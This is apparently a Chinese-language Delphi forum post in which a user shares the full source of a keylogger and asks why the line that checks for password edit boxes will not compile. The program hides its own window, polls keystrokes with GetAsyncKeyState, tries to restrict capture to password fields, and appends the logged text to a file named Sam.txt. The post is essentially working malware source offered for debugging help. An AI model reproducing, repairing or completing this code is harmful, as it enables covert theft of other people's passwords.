大
大狗熊
Unregistered / Unconfirmed
GUEST, unregistred user!
unit Unit1;<br><br>interface<br><br>uses<br> Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<br> ComCtrls, ExtCtrls, StdCtrls;<br><br>type<br> TForm1 = class(TForm)<br> Timer2: TTimer;<br> Timer1: TTimer;<br> Memo1: TMemo;<br> procedure FormActivate(Sender: TObject);<br> procedure Timer2Timer(Sender: TObject);<br> procedure Timer1Timer(Sender: TObject);<br><br> private<br> { Private declarations }<br> public<br> Loopkey:Byte;<br> { Public declarations }<br> end;<br><br> var<br> Form1: TForm1;<br> F:Textfile;<br>implementation<br><br>{$R *.DFM}<br><br><br>procedure TForm1.FormActivate(Sender: TObject);<br>begin<br>Application.Minimize;<br>ShowWindow(Application.Handle,SW_HIDE);<br>end;<br><br><br>procedure TForm1.Timer1Timer(Sender: TObject);<br><br>function GetWinClass(hWnd: HWnd): string;<br>var<br> WindowClass: array[0..MAX_PATH] of Char;<br>begin<br> WindowClass[GetClassName(hWnd, WindowClass, MAX_PATH)] := #0;<br> Result := WindowClass;<br>end;<br>function IsPassEdit(hEdit: HWnd): Boolean;<br>begin<br> Result := (GetWinClass(hEdit) = 'Edit') and ( (GetWindowLong(hEdit, GWL_ID) = $B4) or<br> (GetWindowLong(hEdit, GWL_STYLE) and ES_PASSWORD <> 0) or (SendMessage(hEdit, EM_GETPASSWORDCHAR, 0, 0) <> 0)<br> <br>end;<br><br>var<br> Result:Longint;<br> Enter:Integer;<br> Period:Integer;<br> Comma:Integer;<br> Space:Integer;<br> Colon:Integer;<br> Slash:Integer;<br> Label KeyFound;<br>begin<br>[red] if IsPassEdit(HWnd)= False then Exit;[/red]<br><br>Result:=GetAsyncKeyState(27);<br>If Result=-32767 then<br>Begin<br>Close;<br>End;<br><br>Result:=GetAsyncKeyState(190);<br>If Result= -32767 then<br>begin<br>Period:=1;<br>Goto keyFound;<br>End;<br><br><br>Result:=GetAsyncKeyState(13);<br>if Result= -32767 then<br>Begin<br>Enter:=1;<br>Goto Keyfound;<br>End;<br><br><br>Result:=GetAsyncKeyState(188);<br>if Result= -32767 then<br>begin<br>Comma:=1;<br>Goto keyFound;<br>End;<br><br><br>Result:=GetAsyncKeyState(32);<br>if Result= -32767 then<br>Begin<br>Space:=1;<br>Goto Keyfound;<br>End;<br><br><br>Result:=GetAsyncKeyState(186);<br>if Result= -32767 then<br>Begin<br>Colon:=1;<br>Goto Keyfound;<br>End;<br><br><br>Result:=GetAsyncKeyState(191);<br>if Result= -32767 then<br>Begin<br>Slash:=1;<br>Goto Keyfound;<br>End;<br><br>Loopkey:=41;<br>repeat<br>Result:=GetAsyncKeyState(Loopkey);<br>if Result= -32767 then<br>Begin<br>Memo1.Text:= Memo1.Text + Chr(Loopkey);<br>End<br>Else<br>Loopkey:=Loopkey+1;<br>until Loopkey = 91;<br><br>Exit;<br><br>KeyFound:<br><br>if Enter=1 Then<br>Begin<br>Memo1.Text:=Memo1.Text + #13#10;<br>Exit;<br>End;<br><br>if Period=1 Then<br>Begin<br>Memo1.Text:=Memo1.Text + '.';<br>Exit;<br>End;<br><br>if Comma=1 then<br>begin<br>Memo1.Text:=Memo1.Text+',';<br>Exit;<br>End;<br><br>if Space=1 Then<br>Begin<br>Memo1.Text:=Memo1.Text+' ';<br>Exit;<br>End;<br><br>if Colon=1 then<br>Begin<br>Memo1.Text:=Memo1.Text+':';<br>Exit;<br>End;<br><br>if Slash=1 Then<br>begin<br>Memo1.Text:=Memo1.Text + '/';<br>Exit;<br>End;<br>End;<br><br>procedure TForm1.Timer2Timer(Sender: TObject);<br>begin<br>Assignfile(F,'Sam.txt');<br>if not FileExists('Sam.txt') Then<br>begin<br>Rewrite(F);<br>Closefile(F);<br>End<br>Else<br>Assignfile(F,'Sam.txt');<br>{$I-}<br>Append(F);<br>{$I+}<br>If IOResult<> 0 Then<br>Begin<br>ShowMessage('Cannot Open File');<br>End;<br>Write(F,Memo1.Text);<br>Closefile(F);<br>end;<br>end.<br><br><br>完整源码如上<br>问题在那句<br> if IsPassEdit(HWnd)= False then Exit;<br>编译无法通过,我看不出有什么毛病,其他的都测试通过了,就是判断是否是EDIT框,无法通过<br>请高手指点,全部家当都加上了